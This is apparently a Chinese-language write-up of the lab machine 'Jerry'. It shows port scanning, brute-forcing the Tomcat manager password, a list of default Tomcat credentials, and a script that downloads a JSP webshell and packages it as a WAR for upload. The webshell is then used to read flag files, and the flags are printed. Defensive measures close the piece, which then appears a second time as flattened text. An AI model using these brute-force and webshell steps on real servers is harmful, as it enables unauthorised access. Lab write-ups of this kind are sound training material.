[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传
字数 976 2025-08-19 12:41:39

Tomcat用户暴力破解与war包webshell上传攻击分析

1. 信息收集阶段

1.1 端口扫描

使用masscan进行快速端口扫描:

sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports

使用nmap进行详细服务识别:

ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn

扫描结果:

  • 8080/tcp: Apache Tomcat/Coyote JSP engine 1.1
  • 版本: Apache Tomcat/7.0.88

2. Tomcat管理界面暴力破解

2.1 使用爆破工具

使用开源工具进行Tomcat管理界面密码爆破:

python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95

成功爆破出的密码: s3cret

2.2 Tomcat默认凭证

常见Tomcat默认凭证组合:

  • tomcat:tomcat
  • admin:admin
  • both:manager
  • role1:tomcat
  • root:root

3. WAR包webshell制作与上传

3.1 制作WAR包webshell

创建gen_war.sh脚本:

#!/bin/sh
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp
rm -rf wshell
rm -f wshell.war
mkdir wshell
cp index.jsp wshell/
cd wshell
jar -cvf ../wshell.war *

执行脚本生成WAR包:

chmod +x gen_war.sh
./gen_war.sh

3.2 上传WAR包

通过Tomcat管理界面的"WAR file to deploy"功能上传生成的wshell.war文件。

4. 利用webshell获取flag

4.1 访问webshell

上传成功后,访问webshell路径:

http://10.10.10.95:8080/wshell/

4.2 文件浏览功能

利用webshell的文件浏览功能查看系统文件:

http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt

4.3 获取flag

  • User.txt: 7004dbcef0f854e0fb401875f26ebd00
  • Root.txt: 04a8b36e1545a455393d067e772fe90e

5. 防御措施

5.1 防止暴力破解

  • 修改Tomcat默认管理用户名和密码
  • 启用账户锁定机制
  • 限制管理界面访问IP
  • 使用强密码策略

5.2 防止WAR包上传攻击

  • 禁用不必要的上传功能
  • 对上传文件进行严格校验
  • 限制WAR包部署权限
  • 定期审计部署的应用

5.3 系统加固

  • 及时更新Tomcat版本
  • 删除或保护默认示例应用
  • 配置适当的文件系统权限
  • 启用日志审计和监控

6. 总结

本案例展示了通过Tomcat管理界面暴力破解和WAR包webshell上传的完整攻击链。攻击者首先通过端口扫描发现Tomcat服务,然后暴力破解管理密码,最后上传恶意WAR包获取系统权限。防御此类攻击需要多层次的防护措施,包括强认证机制、最小权限原则和持续的安全监控。

Tomcat用户暴力破解与war包webshell上传攻击分析 1. 信息收集阶段 1.1 端口扫描 使用masscan进行快速端口扫描: 使用nmap进行详细服务识别: 扫描结果: 8080/tcp: Apache Tomcat/Coyote JSP engine 1.1 版本: Apache Tomcat/7.0.88 2. Tomcat管理界面暴力破解 2.1 使用爆破工具 使用开源工具进行Tomcat管理界面密码爆破: 成功爆破出的密码: s3cret 2.2 Tomcat默认凭证 常见Tomcat默认凭证组合: tomcat:tomcat admin:admin both:manager role1:tomcat root:root 3. WAR包webshell制作与上传 3.1 制作WAR包webshell 创建 gen_war.sh 脚本: 执行脚本生成WAR包: 3.2 上传WAR包 通过Tomcat管理界面的"WAR file to deploy"功能上传生成的 wshell.war 文件。 4. 利用webshell获取flag 4.1 访问webshell 上传成功后,访问webshell路径: 4.2 文件浏览功能 利用webshell的文件浏览功能查看系统文件: 4.3 获取flag User.txt: 7004dbcef0f854e0fb401875f26ebd00 Root.txt: 04a8b36e1545a455393d067e772fe90e 5. 防御措施 5.1 防止暴力破解 修改Tomcat默认管理用户名和密码 启用账户锁定机制 限制管理界面访问IP 使用强密码策略 5.2 防止WAR包上传攻击 禁用不必要的上传功能 对上传文件进行严格校验 限制WAR包部署权限 定期审计部署的应用 5.3 系统加固 及时更新Tomcat版本 删除或保护默认示例应用 配置适当的文件系统权限 启用日志审计和监控 6. 总结 本案例展示了通过Tomcat管理界面暴力破解和WAR包webshell上传的完整攻击链。攻击者首先通过端口扫描发现Tomcat服务,然后暴力破解管理密码,最后上传恶意WAR包获取系统权限。防御此类攻击需要多层次的防护措施,包括强认证机制、最小权限原则和持续的安全监控。